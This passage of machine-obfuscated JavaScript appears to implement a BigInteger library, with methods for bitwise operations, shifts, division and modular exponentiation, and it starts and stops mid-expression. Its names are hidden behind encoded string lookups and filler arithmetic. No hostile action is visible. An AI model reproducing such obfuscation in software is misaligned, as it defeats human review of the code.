(q - s * u * u - a * u - t * a * t - s * a) - (_ - u * s - u - n * u * n) << _r, -(U - c - u - c * s - i * a) * -(B - i * s - n - a * n - u * t * c) - (Kr - s * i - c - s * a * i - c * i) + -(b - s - s - n * n * c) * -(Cr - c * n - s * u - t * a * n))), Yr[zr("0x1bb")](-(fr - t * s * a - n * s * u - u * a - u * n) * (y - a * t - c - t * a - t * s * t) - (dr - s * t * c - u * i - n - n) + -(W - s * t - c * t * c - t - i * i * s) * -(V - u - n - s - s * s * u), _r)), + Jr |= Yr.BdxUa(this[zr("0x19")][--re], _r += Yr[zr("0x1bb")](this.DB, -(jr - s * i - n * c * s - n * c * c - n * a * a) - (Lr - i * u * a - i - u * i * a - t) + (Wr - c * c * c - a * n * n - s * i - i)))) : (Jr = Yr[zr("0xec")](Yr[zr("0x134")](this.data[re], _r -= -(vr - u - n * a - i * c - c) * -(S - u - t * i * i - t * a - c * c) + (Nr - a - n * t - s * n - a) * (A - c - n - a * a * s - t * u) + -(J - a * n * c - a - t * i - s) * (D - s * c - s * n - a * i * c)), -(M - n * n * s - t * c - s * n * s) * -(Ur - i - n * c - t * i) - (Ar - n * u * u - n * a - c) - (O - i * a - i * n * t - s - u)), + Yr[zr("0x1bc")](_r, (Pr - u - a - u - s) * -(v - a - a * c - s) - (Er - n - u * u - i - u) + (p - i - i * c - u * u - c * c) * (Qr - t * u * s - a * n * a - c * i - u * t)) && (_r += this.DB, + --re)), + sr - t * s - n * u * n - c - c * n - (Or - c - u * s - a * t * c - i * i * u) + (Tr - c - i * n - i * t - c) != Yr[zr("0xec")]((H - n * c * c - a * a * i - t * a * u - i * a) * -(z - c - n * a * u - t * t * s - s * s) + (Mr - s * i - i * s * i - t) - (ur - a * a - i - a - t * t * i), Jr) && (Jr |= -(Dr - u * c - n * t * s - c - s * i - (Vr - u * u * i - s * n * i - i - t * n * a) + (X - s * a - s * c * u - n - s * n * i) * (rr - t - n * a - i * s - u * n * u))), + xr - a * s * t - u * u - c - u + (P - i * n - s * n - c * c * n - u) * -(I - t * i * a - n - a) + (lr - n * c * s - s - n) == $r && Yr[zr("0xec")](-(E - n - a * t * c - n) * (G - t * c * i - t * s * u - u - a) - (gr - a * c - n - s - a * u) + (Gr - n * n * u - n * t * c - c * t - s * u), this.s) != (-(er - a * a - t - c * n * i - u * s * t) - (tr - s * s * n - a * n - i - s * c * i) + -(nr - u * c - c * s - s - u * c) * -(Z - t - s * t * c - i * c * c) & Jr) && ++$r, + (Yr[zr("0xba")]($r, pr - s * n - n - s * i * n - u * i * a - (br - s * u * s - c - s * a * n - u * n * n) + -(N - a * n - a * n - u - i * i * u) * -(R - a - n * s - a - i * i * n)) || Jr != this.s) && (ee[$r++] = Jr); + continue; + case "3": + ee[kr - i * s - n * s * a - a - (Ir - n - s * u * n - t) - (hr - c * i - u * a * n - c * t - a * s)] = this.s; + continue; + case "4": + var re = this.t + , ee = new Array; + continue + } + break + } + } + , + s.prototype.equals = function(r) { + function e(r) { + return t += r + } + var t = 0; + e(4); + var n = t + 1; + e(1); + var a = t + 1 + , i = e(1) + 1 + , u = e(1) + 1; + e(1); + var s = t + 1 + , c = e(0) + 2; + e(1); + var f = t + 2; + e(371); + var v = t + 146; + e(110); + var x = t + 47; + e(448); + var l = t + 116; + e(2557); + var d = t + 603; + e(1508); + var h = t + 544 + , p = o + , y = {}; + return y[p("0x1f1")] = function(r, e) { + return r == e + } + , + y[p("0x1f1")](-(v - u - c * i - n * f * u - i) * (h - n - u - c * f * f - c * n) - (d - n * a * a - c * c * u - i * s * c - n) + -(l - f * s * i - u * n - f * u) * -(x - n * n - i * f * n - u * a - n * c), this[p("0x1ea")](r)) + } + , + s.prototype[o("0x23e")] = function(r) { + function e(r) { + return t += r + } + var t = 0; + e(3); + var n = t + 2; + e(2); + var a = t + 1; + e(1); + var i = t + 1; + e(1); + var u = t + 1; + e(1); + var s = t + 1; + e(1); + var c = t + 1; + e(1); + var f = t + 1; + e(485); + var v = t + 104; + e(639); + var x = t + 112 + , l = e(433) + 87 + , d = e(1091) + 367 + , h = e(1230) + 221 + , p = o + , y = {}; + return y[p("0x8c")] = function(r, e) { + return r < e + } + , + y[p("0x8c")](this[p("0x1ea")](r), (x - s * u * s - s * a * c - n * f) * (h - n - c * u * i - c * a * f - f * a * i) + -(l - i * a - c - a * c * i) * (v - n - i * s * s - c - s) + (d - s * c * n - c * i - n * s * i)) ? this : r + } + , + s[o("0x99")][o("0x189")] = function(r) { + function e(r) { + return t += r + } + var t = 0; + e(3); + var n = t + 2; + e(2); + var a = t + 1; + e(1); + var i = t + 1; + e(1); + var u = t + 1 + , s = e(1) + 1 + , c = e(1) + 1 + , f = e(1) + 1; + e(1183); + var v = t + 220; + e(672); + var x = t + 211 + , l = e(1041) + 274 + , d = { + KoDJa: function(r, e) { + return r > e + } + }; + return d[o("0x149")](this.compareTo(r), x - u * c - f - c * n * a - s * c * n - (l - f - f * n * c - n * u * a - i * n) + (v - n * u * n - a * a - c * a - u)) ? this : r + } + , + s[o("0x99")].and = function(r) { + var e = c(); + return this.bitwiseTo(r, v, e), + e + } + , + s[o("0x99")].or = function(r) { + var e = c(); + return this.bitwiseTo(r, m, e), + e + } + , + s[o("0x99")][o("0xdb")] = function(r) { + var e = o + , t = {}; + t[e("0x108")] = function(r) { + return r() + } + ; + var n = t[e("0x108")](c); + return this.bitwiseTo(r, C, n), + n + } + , + s[o("0x99")][o("0xe8")] = function(r) { + var e = o + , t = c(); + return this[e("0x66")](r, E, t), + t + } + , + s.prototype[o("0x1be")] = function() { + function r(r) { + return e += r + } + var e = 0 + , t = r(3) + 2; + r(2); + var n = e + 1; + r(2); + var a = e + 1; + r(1); + var i = e + 1 + , u = r(1) + 1; + r(1); + var s = e + 1 + , f = r(3107) + 612 + , v = r(2947) + 785; + r(3096); + var x = e + 915 + , l = o + , d = {}; + d[l("0x17a")] = function(r, e) { + return r < e + } + , + d.ssVhi = function(r, e) { + return r & e + } + ; + for (var h = d, p = c(), y = -(f - a - n - u * n - n) - (v - u * n * n - u * a * n - a * u) + (x - i * s - t * i * a - n * t - a); h[l("0x17a")](y, this.t); ++y) + p[l("0x19")][y] = h[l("0x138")](this.DM, ~this.data[y]); + return p.t = this.t, + p.s = ~this.s, + p + } + , + s[o("0x99")][o("0xd6")] = function(r) { + function e(r) { + return t += r + } + var t = 0; + e(4); + var n = t + 1 + , a = e(1) + 1; + e(1); + var i = t + 1; + e(1); + var u = t + 1 + , s = e(1) + 1; + e(1); + var f = t + 1; + e(1); + var v = t + 1; + e(604); + var x = t + 100; + e(335); + var l = t + 123; + e(591); + var d = t + 133 + , h = e(5991) + 1291 + , p = o + , y = {}; + y[p("0x11")] = function(r) { + return r() + } + , + y[p("0x23a")] = function(r, e) { + return r < e + } + ; + var g = y + , m = g.caNPU(c); + return g[p("0x23a")](r, -(x - n * i - a - f * a * v) * (x - i - v - v - a * s) + (h - f - s * i - f) + -(l - f * f * f - i - v * n - a) * (d - u * u * s - s * i * u - v - u * i * u)) ? this[p("0x1ce")](-r, m) : this.lShiftTo(r, m), + m + } + , + s[o("0x99")][o("0x51")] = function(r) { + function e(r) { + return t += r + } + var t = 0 + , n = e(3) + 2; + e(2); + var a = t + 1; + e(1); + var i = t + 1 + , u = e(1) + 1; + e(1); + var s = t + 1; + e(1); + var f = t + 1; + e(1); + var v = t + 1; + e(1159); + var x = t + 189; + e(2053); + var l = t + 453 + , d = e(688) + 111; + e(1993); + var h = t + 346 + , p = o + , y = {}; + y[p("0x20")] = function(r) { + return r() + } + , + y[p("0x145")] = function(r, e) { + return r < e + } + ; + var g = y + , m = g[p("0x20")](c); + return g[p("0x145")](r, (d - v * v - n * u - n * v * n - f) * -(x - s * f * u - n - i * u - u * u * s) - (l - i * f - f * v - a * n * v - v * v * v) + (h - a * n * f - v * f - f - a * f * i)) ? this[p("0xae")](-r, m) : this[p("0x1ce")](r, m), + m + } + , + s.prototype.getLowestSetBit = function() { + function r(r) { + return e += r + } + var e = 0; + r(3); + var t = e + 2; + r(2); + var n = e + 1; + r(1); + var a = e + 1 + , i = r(1) + 1; + r(1); + var u = e + 1; + r(0); + var s = e + 2; + r(1); + var c = e + 2; + r(483); + var f = e + 104; + r(402); + var v = e + 81; + r(120); + var x = e + 60; + r(61); + var l = e + 18; + r(20); + var d = e + 3; + r(7); + var h = e + 4; + r(29); + var p = e + 16; + r(51); + var y = e + 15; + r(80); + var g = e + 15; + r(21); + var m = e + 7 + , C = r(204) + 34; + r(1274); + var b = e + 434; + r(1819); + var E = e + 470; + r(1286); + var I = e + 251 + , T = r(460) + 171 + , A = r(194) + 33; + r(3354); + var B = e + 928 + , w = r(969) + 139 + , N = o + , R = {}; + R[N("0x181")] = function(r, e) { + return r < e + } + , + R[N("0x119")] = function(r, e) { + return r != e + } + , + R[N("0x223")] = function(r, e) { + return r + e + } + , + R[N("0x128")] = function(r, e) { + return r < e + } + ; + for (var U = R, D = w - n - a * c * u - c * n * s + (f - a * c - i * u - a * a * i - n * u) * (p - s * s - a - s - i) - (B - u * s - i - c - i * n); U.rTyax(D, this.t); ++D) + if (U.YwDIB(E - c * t - u * a * n - t * t - (I - s * i - c - a * s) + -(x - c - t * a * s - u - a * u * c) * -(m - s - s * n - a - u * c * c), this[N("0x19")][D])) + return U[N("0x223")](D * this.DB, S(this[N("0x19")][D])); + return U.pcICN(this.s, (g - i * i * i - s * i - u * a * s - c) * -(d - t - t * u * a - c * c * t - i * i) + -(A - u - i * n * a - u - a * s) * -(l - n - n * a - n * c * n - u * i * u) - (C - s * c - s - s * n - i)) ? this.t * this.DB : -(-(y - t * a * a - t * s * i - c * a * a - c) * -(b - a * c * s - t - n) - (T - i * t * s - s * u * c - a * s - i * u) + -(h - c * s * u - t - t - s * s) * -(v - c * c * n - n * c - u * s - a * s)) + } + , + s[o("0x99")][o("0xf3")] = function() { + function r(r) { + return e += r + } + var e = 0; + r(3); + var t = e + 2; + r(2); + var n = e + 1; + r(1); + var a = e + 1; + r(1); + var i = e + 1; + r(1); + var u = e + 1; + r(1); + var s = e + 1; + r(1); + var c = e + 1; + r(71); + var f = e + 23 + , v = r(344) + 72; + r(645); + var x = e + 117; + r(611); + var l = e + 323; + r(754); + var d = e + 161; + r(460); + var h = e + 189; + r(427); + var p = e + 59; + r(1657); + var y = e + 482; + r(473); + var g = e + 166 + , m = o + , C = {}; + C[m("0x16e")] = function(r, e) { + return r ^ e + } + ; + for (var b = C, E = h - t - c * i - u * u * n + -(d - u - u * t - n * c) * (x - u * a * c - t * s - u * n * i - u) + (g - i * c - s * s * n - a), S = this.s & this.DM, I = -(l - s * t * i - u - a) * (f - t - u * a - t * a) - (p - a - a * c - c - c) + (y - u * a * u - s - c - s) * (v - i * i - u * i * t - i * u); I < this.t; ++I) + E += T(b[m("0x16e")](this[m("0x19")][I], S)); + return E + } + , + s[o("0x99")].testBit = function(r) { + function e(r) { + return t += r + } + var t = 0; + e(3); + var n = t + 2; + e(2); + var a = t + 1; + e(0); + var i = t + 2 + , u = e(1) + 2; + e(2); + var s = t + 1 + , c = e(1) + 1; + e(1); + var f = t + 1; + e(150); + var v = t + 39; + e(298); + var x = t + 111; + e(326); + var l = t + 79 + , d = e(241) + 94; + e(87); + var h = t + 33; + e(49); + var p = t + 12; + e(809); + var y = t + 180 + , g = e(603) + 117; + e(309); + var m = t + 49 + , C = e(886) + 322; + e(2194); + var b = t + 434 + , E = e(4114) + 642 + , S = e(5749) + 1179 + , I = o + , T = {}; + T[I("0xb5")] = function(r, e) { + return r >= e + } + , + T[I("0x17e")] = function(r, e) { + return r != e + } + , + T[I("0x139")] = function(r, e) { + return r & e + } + , + T[I("0x43")] = function(r, e) { + return r << e + } + ; + var A = T + , B = Math[I("0x10f")](r / this.DB); + return A[I("0xb5")](B, this.t) ? A[I("0x17e")](-(p - u - f * f - i * i * s - c * a * c) * (m - s * u - a - i) + (b - u - s - n) + (g - u - u * u * i - c - c * a), this.s) : -(h - s * u - f - n * s * u - u) * -(v - f * u - f * n - n * s) + (E - u - i * n * s - f * s * f - f) - (S - u * i - n - s - n) != A[I("0x139")](this[I("0x19")][B], A[I("0x43")](-(x - c * n * f - f - n) * -(y - s - a * f * s - u * u - f) - (C - c - s * n * u - u * u * a - f) + -(l - s - f - u - a * f * f) * (d - i - a - i * f * u - c * a * u), r % this.DB)) + } + , + s[o("0x99")][o("0x175")] = function(r) { + return this.changeBit(r, m) + } + , + s[o("0x99")][o("0x3f")] = function(r) { + return this[o("0xd3")](r, E) + } + , + s[o("0x99")][o("0x9a")] = function(r) { + return this[o("0xd3")](r, C) + } + , + s[o("0x99")].add = function(r) { + var e = o + , t = c(); + return this[e("0x210")](r, t), + t + } + , + s[o("0x99")].subtract = function(r) { + var e = o + , t = c(); + return this[e("0x116")](r, t), + t + } + , + s[o("0x99")][o("0x238")] = function(r) { + var e = o + , t = { + rvNfh: function(r) { + return r() + } + } + , n = t[e("0x76")](c); + return this[e("0x6")](r, n), + n + } + , + s[o("0x99")].divide = function(r) { + var e = o + , t = {}; + t[e("0xf4")] = function(r) { + return r() + } + ; + var n = t[e("0xf4")](c); + return this[e("0x136")](r, n, null), + n + } + , + s[o("0x99")][o("0x79")] = function(r) { + var e = o + , t = {}; + t[e("0x214")] = function(r) { + return r() + } + ; + var n = t[e("0x214")](c); + return this[e("0x136")](r, null, n), + n + } + , + s.prototype[o("0x230")] = function(r) { + var e = o + , t = {}; + t[e("0x1a5")] = function(r) { + return r() + } + ; + var n = t + , a = c() + , i = n[e("0x1a5")](c); + return this[e("0x136")](r, a, i), + new Array(a,i) + } + , + s[o("0x99")][o("0x146")] = function(r, e) { + function t(r) { + return n += r + } + var n = 0; + t(3); + var a = n + 2; + t(1); + var i = n + 2 + , u = t(1) + 2; + t(2); + var s = n + 1; + t(1); + var f = n + 1 + , v = t(1) + 1; + t(1); + var x = n + 1 + , l = t(10) + 4 + , d = t(6) + 3; + t(8); + var h = n + 5; + t(30); + var p = n + 10; + t(10); + var m = n + 4; + t(8); + var C = n + 4; + t(13); + var E = n + 5; + t(27); + var S = n + 4; + t(9); + var T = n + 5; + t(4); + var A = n + 2 + , B = t(5) + 2 + , N = t(5) + 3; + t(3); + var R = n + 2; + t(22); + var U = n + 5; + t(9); + var D = n + 5; + t(6); + var L = n + 4; + t(5); + var P = n + 3 + , k = t(31) + 4; + t(53); + var K = n + 11; + t(9); + var V = n + 4 + , O = t(36) + 7; + t(6); + var M = n + 2 + , j = t(2) + 2 + , F = t(55) + 18; + t(19); + var G = n + 7 + , q = t(19) + 4; + t(20); + var Q = n + 5; + t(10); + var W = n + 3; + t(28); + var z = n + 4; + t(10); + var H = n + 6; + t(64); + var Y = n + 16; + t(12); + var Z = n + 6; + t(25); + var X = n + 9 + , J = t(15) + 3; + t(5); + var _ = n + 2; + t(5); + var $ = n + 2; + t(15); + var rr = n + 4 + , er = t(37) + 8; + t(7); + var tr = n + 3 + , nr = t(12) + 6; + t(28); + var ar = n + 7; + t(6); + var ir = n + 2; + t(22); + var or = n + 6; + t(24); + var ur = n + 8; + t(13); + var sr = n + 4 + , cr = t(28) + 6; + t(21); + var fr = n + 4 + , vr = t(5) + 4 + , xr = t(13) + 2; + t(38); + var lr = n + 9; + t(8); + var dr = n + 4 + , hr = t(19) + 6; + t(20); + var pr = n + 6; + t(12); + var yr = n + 3; + t(23); + var gr = n + 10; + t(18); + var mr = n + 3 + , Cr = t(22) + 5; + t(20); + var br = n + 4; + t(6); + var Er = n + 2 + , Sr = t(9) + 3; + t(15); + var Ir = n + 5; + t(62); + var Tr = n + 10 + , Ar = t(17) + 5; + t(8); + var Br = n + 2; + t(28); + var wr = n + 6; + t(20); + var Nr = n + 7; + t(10); + var Rr = n + 3; + t(12); + var Ur = n + 3 + , Dr = t(4) + 3 + , Lr = t(7) + 2; + t(10); + var Pr = n + 3; + t(8); + var kr = n + 2 + , Kr = t(28) + 13; + t(36); + var Vr = n + 8; + t(45); + var Or = n + 12; + t(17); + var Mr = n + 5; + t(6); + var jr = n + 3 + , Fr = t(4) + 3; + t(2); + var Gr = n + 2; + t(6); + var qr = n + 3 + , Qr = t(61) + 13; + t(52); + var Wr = n + 13; + t(11); + var zr = n + 3 + , Hr = t(6) + 3; + t(12); + var Yr = n + 4; + t(10); + var Zr = n + 5 + , Xr = t(13) + 3; + t(4); + var Jr = n + 3 + , _r = t(7) + 4 + , $r = t(63) + 10; + t(16); + var re = n + 6 + , ee = t(6) + 2; + t(38); + var te = n + 9 + , ne = t(15) + 3; + t(18); + var ae = n + 6 + , ie = t(15) + 7; + t(20); + var oe = n + 5; + t(19); + var ue = n + 7; + t(13); + var se = n + 4; + t(22); + var ce = n + 8; + t(54); + var fe = n + 8 + , ve = t(39) + 10; + t(15); + var xe = n + 4; + t(14); + var le = n + 3 + , de = t(51) + 9; + t(131); + var he = n + 16; + t(125); + var pe = n + 19; + t(79); + var ye = n + 30; + t(122); + var ge = n + 46; + t(105); + t(61); + var me = n + 19; + t(28); + var Ce = n + 8 + , be = t(41) + 20; + t(56); + var Ee = n + 16; + t(75); + var Se = n + 30 + , Ie = t(34) + 10 + , Te = t(21) + 5; + t(58); + var Ae = n + 18 + , Be = t(43) + 6 + , we = t(11) + 3 + , Ne = t(14) + 4; + t(5); + var Re = n + 2; + t(5); + var Ue = n + 2; + t(32); + var De = n + 6 + , Le = t(34) + 8; + t(24); + var Pe = n + 7; + t(144); + var ke = n + 17; + t(291); + var Ke = n + 101; + t(164); + var Ve = n + 37; + t(34); + var Oe = n + 9 + , Me = t(81) + 17 + , je = t(302) + 91; + t(63); + var Fe = n + 29; + t(26); + var Ge = n + 9; + t(34); + var qe = n + 12 + , Qe = t(9) + 5; + t(46); + var We = n + 9; + t(26); + var ze = n + 12; + t(134); + var He = n + 46; + t(82); + var Ye = n + 29; + t(163); + var Ze = n + 32; + t(143); + var Xe = n + 52; + t(132); + var Je = n + 28; + t(24); + var _e = n + 7 + , $e = t(53) + 8; + t(67); + var rt = n + 29; + t(106); + var et = n + 33; + t(106); + var tt = n + 16 + , nt = t(17) + 6 + , at = t(44) + 22; + t(80); + var it = n + 12; + t(490); + var ot = n + 115; + t(192); + t(79); + var ut = n + 14; + t(35); + var st = n + 16 + , ct = t(233) + 43; + t(147); + var ft = n + 26; + t(74); + var vt = n + 14; + t(96); + var xt = n + 25 + , lt = t(91) + 21 + , dt = t(37) + 13; + t(120); + var ht = n + 23; + t(112); + var pt = n + 26; + t(134); + var yt = n + 47; + t(54); + var gt = n + 16; + t(40); + var mt = n + 14; + t(118); + var Ct = n + 34; + t(119); + t(103); + var bt = n + 17; + t(42); + var Et = n + 6 + , St = t(57) + 20; + t(285); + var It = n + 69 + , Tt = t(143) + 18 + , At = t(33) + 10; + t(117); + var Bt = n + 36 + , wt = t(164) + 56; + t(60); + var Nt = n + 13; + t(62); + var Rt = n + 30 + , Ut = t(30) + 10; + t(32); + var Dt = n + 15; + t(57); + var Lt = n + 15; + t(44); + var Pt = n + 8 + , kt = t(17) + 3 + , Kt = t(172) + 35; + t(40); + var Vt = n + 19; + t(227); + var Ot = n + 79; + t(75); + var Mt = n + 21; + t(177); + var jt = n + 44; + t(531); + var Ft = n + 158 + , Gt = t(151) + 33; + t(32); + var qt = n + 9; + t(69); + var Qt = n + 10 + , Wt = t(401) + 136 + , zt = t(381) + 65 + , Ht = t(2346) + 266; + t(472); + var Yt = n + 126; + t(1152); + var Zt = n + 234; + t(1579); + var Xt = n + 475; + t(1939); + var Jt = n + 392 + , _t = o + , $t = {}; + $t[_t("0x56")] = function(r, e) { + return r == e + } + , + $t.fffuN = function(r, e) { + return r(e) + } + , + $t.ZisBR = function(r, e) { + return r < e + } + , + $t[_t("0xac")] = function(r, e) { + return r - e + } + , + $t[_t("0x52")] = function(r, e) { + return r << e + } + , + $t.akqao = function(r, e) { + return r > e + } + , + $t[_t("0x23d")] = function(r, e) { + return r !== e + } + , + $t.IVMlC = _t("0x1a7"), + $t.lIvni = function(r) { + return r() + } + , + $t[_t("0x23")] = function(r, e) { + return r - e + } + , + $t[_t("0xb6")] = function(r, e) { + return r - e + } + , + $t[_t("0x12c")] = function(r, e) { + return r >= e + } + , + $t[_t("0x231")] = function(r, e) { + return r >= e + } + , + $t[_t("0x14d")] = function(r, e) { + return r & e + } + , + $t.fsNLz = function(r, e) { + return r >> e + } + , + $t[_t("0x18d")] = function(r, e) { + return r << e + } + , + $t[_t("0x15d")] = function(r, e) { + return r - e + } + , + $t.LfjPv = function(r, e) { + return r << e + } + , + $t.TeMcS = function(r, e) { + return r + e + } + , + $t[_t("0x18e")] = function(r, e) { + return r << e + } + ; + var rn, en, tn = $t, nn = r[_t("0x203")](), an = tn.fffuN(y, -(qe - u * s * f - s - u * s * x - s) * -(l - u - x - a) - (Ve - i * s - v * s - s * u * f) - (rr - u * s - u * f - u * f * s)); + if (nn <= (Rr - u - x * s * s - a) * (wr - f * i - f - s * u * x - a * f * x) + -(De - f - a * v * x - v) * -(hr - a * x * x - a * u * u - x * a - v) + (Pr - x - x * v * x - x) * -(oe - f * f * v - f * s - i - v)) + return an; + rn = tn[_t("0xd5")](nn, gt - x * v - v * f - x - v - (Rt - v * u - i - x * f * s - a * a) + -(Tr - a * v * u - i * a - f - u * a) * -(j - s * i * a - i - v - f * s)) ? (X - v - i * a * a - f * i * s - a) * (xt - i - i * u - s) - (ur - v - f * a * f - i - i * f) - (Et - i * i * i - v * s - x * v * i - u * v * a) : tn.ZisBR(nn, -(bt - a * i - s * x * x - i - s * x) * -(mr - i * a - x * a * i - x * a * a - u * a * v) + -(Fr - u * s * a - i * x - i * a * i - a * x * f) * (_ - f * i - x - s * f - i * u * x) - (Re - u - x * x * a - x - v * u)) ? -(N - u - v * i - v * s) * (pt - u * f - u - x * x - u * i) + (Ee - i * a * v - v - i * x) + -(pr - x * u * a - i * a * i - v - s) * -(fr - v - s - v * v * s) : tn[_t("0xd5")](nn, -(pe - v - x * i * v - u * u - i * x) * (ar - f * u - i * s * u - s * s * a) - (te - v * v * f - s * a * i - f * i * f) + (ce - x - a * u - s * x)) ? (Dr - a * s * v - v * f * f - s) * -(gr - v * u - v * i - a * i) - (Ke - v * i - s * v - s * a * u - a * x) + -(de - f - f * v - x * i * s - a * s) * -(F - f * i * u - v - f) : nn < Qe - i * s * f - u * v * i - x - f * v * a + (D - f * a - f * f - i * u - f) * (Jr - x * f * a - i * s - f - s * a) + -(lr - x * i * x - x - a * f) * (se - f * v * f - s * v - s * x * f - a * a) ? Ye - s - u - f - u * f + (Ie - a - a * a - x) * (m - s - f - v * i) - (mt - a - u * f - x * i - u) : -(U - u * f - s - i) * -(Ir - f - a - x * v * s - x * x) - (It - s * a - x * u - i - f * a) + (ze - v - x * u * u - a * a * i - u), + en = nn < Dt - i * s * i - a * f * s - f - x * a * x + -(Ce - x * f * s - v - i * v * x - a) * (Qr - x - f * x * a - s * i * u - x * u * s) + (Dr - s * s * f - s * s - s * f * s) * -(Te - u * x * f - i - s * i - i) ? new b(e) : e[_t("0x60")]() ? new w(e) : new I(e); + var on = new Array + , un = -(Ut - v * s * f - x * i * v - x - u) * (h - x - s - x - s) + (Ue - f * a * a - v * i * u - x * s * x - a * v * f) * (V - s - a * a * v - f - x) - (Or - i * v - v - s * i * a) + , sn = rn - (-(Nr - v * s - v * a * v - s * a - s * f * s) * -(zt - x * u * v - s - x * s * a - s * i) - (lt - f - a * x - u - a) + -(p - s - v - a * f - v) * (He - s * v * x - i * x - s * u * s)) + , cn = tn[_t("0xac")](tn.uorMz((br - f * i * x - a * f * s - v * i - s) * (ue - x * a * a - v - f * v * v) - (Kt - u * s - a * i * f - u - i * u) + (at - u * f - i * f - x * i * x), rn), -(tr - i - x * i * v - f) * (ir - v - f * a - s * v - f) - (_e - v * f * v - a - x * v * f - v * s * x) + (Me - i - a * s - f - x * x * s)); + if (on[(cr - x - u * v * a - s * u * u - s * u) * -(Mr - u - i - v) + -(J - i * x - f * x - i * s * u - a) * (z - x * i - i * i * s - f * s) + (Wt - s - u * v * v - x * v - v * i * i)] = en[_t("0xbb")](this), + tn[_t("0x1c0")](rn, -(Hr - s * x * u - a * f * a - s - i * v * f) * (K - x - i * i * u - x - f) - (ot - a - s * s - a * f * i) + (dt - s * a - i * a - x * u * x - a * f))) + if (tn[_t("0x23d")](tn[_t("0x3")], tn[_t("0x3")])) + ; + else { + var fn = c(); + for (en[_t("0x9b")](on[(ne - i * f * v - a * f * i - u * s - u * v * x) * -(Gr - s - u * v * f - x * f * i - s * s) - (Nt - i - u - u * v * x - v * v) + (Ht - v * a * u - v - f)], fn); un <= cn; ) + on[un] = tn[_t("0x21d")](c), + en.mulTo(fn, on[tn[_t("0x23")](un, (Se - a - a * i * u - f - v * f * x) * (q - u * s - v * a * u - a - f) + (Er - s * i * u - a - u * u - s * s * v) * -(ee - f - i * i * f - x - a) - (Ae - a * f * a - v * x - a * a))], on[un]), + un += -(fe - a - x - f * u * x) - (he - f - u * v * u - x - i * s * i) + (Ar - i * u * f - a * s - f - f * x * u) * (Kr - s * u * f - v * u * s - x * u - v) + } + var vn, xn, ln = r.t - (et - u * u * x - i * x - i - (Je - f * u * f - u * i * v - u * u - a) - (ae - s * s - v * s * x - x * s - u)), dn = !(-(tt - f - s - f) - (wt - x * v - a * i * v - x - i * s * f) + (re - v * i - x * v * i - f * a - x * v * s) * (Yt - f * v * v - f * v - i)), hn = tn[_t("0x21d")](c); + for (nn = tn[_t("0xb6")](g(r.data[ln]), (O - a - a * f * u - a) * -(Ge - a * f - x - v - x * a * u) + (yt - x * x * v - u * u * s - u - a * i) * -(sr - s * f * f - x * u - i * s - s) + (G - v * u * a - u - a * v) * (Gt - v - s - v * f * f)); tn.WGRca(ln, ut - u * x - u * a - a * v - s * s * f + (ke - i * s - i * v * u - f * f * u - i * a) * (yr - u * f * f - f * a * s - v - u) + -(Yr - i - i * s - s * x * s - i) * (ve - s * x - x * x - v * x * x - i * v * s)); ) { + for (tn.tTNCq(nn, sn) ? vn = tn[_t("0x14d")](tn[_t("0x11d")](r[_t("0x19")][ln], nn - sn), cn) : (vn = tn.SsyAZ(r.data[ln] & tn[_t("0x15d")](tn[_t("0x132")](-(Xr - v - v * x * s - x * a - i * i) - (Ot - a * v - i * i * s - v * u * x) + (or - u - u * f * f - i * x - s * x) * (Y - a * i - s - s * s), tn[_t("0x5b")](nn, jt - s * u * a - x - i * i - f - (Pt - s * x * s - f * u * u - i * i * f - a * s * v) + -(Lr - u * i - u * x - i * x * s - f) * (vr - a * x - a * i * s - s * i * x - f))), -(Cr - f * x - s * x * f - a * f - s * f) * (ye - v * u - f * f - v * x - f) - (Pe - s - i * s - v * i * i - v * a * v) + -(E - u - u * i - v * a) * -(ct - a * x - v * a - f * v - s)), sn - nn), + tn.akqao(ln, -(Oe - s * i * s - s * v - a * i - i * a) * (Ur - u * u * v - s * x - i - v * f * u) + (xr - i - f * a * f - i * v * u - a) * (zr - x * u * s - i * x - f) + -(C - x - s - u * s) * (kr - i - u * x * i - a - i * s * a)) && (vn |= r[_t("0x19")][tn[_t("0x15d")](ln, (rt - a * a - v - i * i * s - x) * (W - x - a * i * x - x * v) - (Fe - x - a - u * a * i - u * i * f) + -(L - s * u - u - s * v - i * u) * (Le - x * v * v - x - u * v - a * x * u))] >> tn[_t("0x15d")](this.DB + nn, sn))), + un = rn; (_r - s * a * i - s * s * f - v * i * x - s * x) * -(nt - v * f - i - i * u - v * a * x) - (be - x - u - s * v - s * v * x) + -(Sr - f * x * v - u * i - v) * -(ht - v * a * x - u * s - a - f * x) == (-(R - f * a - f - f * v - a) * (Vt - i - u * s * f - u * u) - (qt - u * a * u - a * s - f * v - v) + (Jt - x * s - s - u * x * i - a) & vn); ) + vn >>= -(Bt - a * s - v * s * s - v * v) * -(A - s * x - a * i - x - u) + (k - x * s - x * u - x - i * s) * (ie - f * u * s - i * u - i * a) + -(Mt - u - f * u * f - f) * ($ - s - x * f * i - a - s), + --un; + if ((nn -= un) < (jr - u * f - v * x * x - x * f) * (Ne - u - s * x * v - u - i * x) + (ft - u * s * a - f - x - v) + -(Vr - a * u * s - x * a * i - f * x * i - v) * (Z - u - v - s * a * v - u) && (nn += this.DB, + --ln), + dn) + on[vn].copyTo(an), + dn = !(-(nr - f - u * x - v * s * u - s) * (P - x * f - i - a) + -(Ft - v * v * f - x * a - u * v - a) * -(B - f * u - s - u - u * f) + -(le - s * v * s - i * f - f * x * x - a) * (M - x * s - i - i * a * i - v)); + else { + for (; un > qr - i * a - a - u + (dr - v * f - u - f * s * v - x * u) * (st - a - a * i - a * i * s - x * v) + -(Wr - u - f * s - v * i * f - f * f * x) * (St - f * i * x - f - x - u); ) + en[_t("0x9b")](an, hn), + en.sqrTo(hn, an), + un -= -(Be - s - v - a - v * x) * -(er - i - a * v - s * i - f * u * f) + (Lt - u * x * f - u * v - v - u) - (Xt - f * x * i - x - v); + tn[_t("0x1c0")](un, je - a * s - i - u * u - x - (vt - s * a - f - v * u * s - s * f) + (we - u * a - a - x - x * x * s)) ? en[_t("0x9b")](an, hn) : (xn = an, + an = hn, + hn = xn), + en[_t("0x1b4")](hn, on[vn], an) + } + for (; tn[_t("0x231")](ln, -(Zr - a - x * u - i * v * i - u) * (S - x - u * s - f * i) + -(H - v * a * u - s * f - v * u) * -(Ze - a * u * x - v * f * v - v * v - u) + ($r - v - s * v - i * s * i - x * u) * -(d - v - a - i - u)) && Ct - v - a * v - s * f - f - (Xe - v * f - a * u * x - f * f - f * s * x) - ($e - a - f * s - u * u * v - a * x * x) == (r[_t("0x19")][ln] & tn[_t("0x18e")]((Q - u - u * x - v * a * u - v) * (Tt - s * u * a - x * i * a - 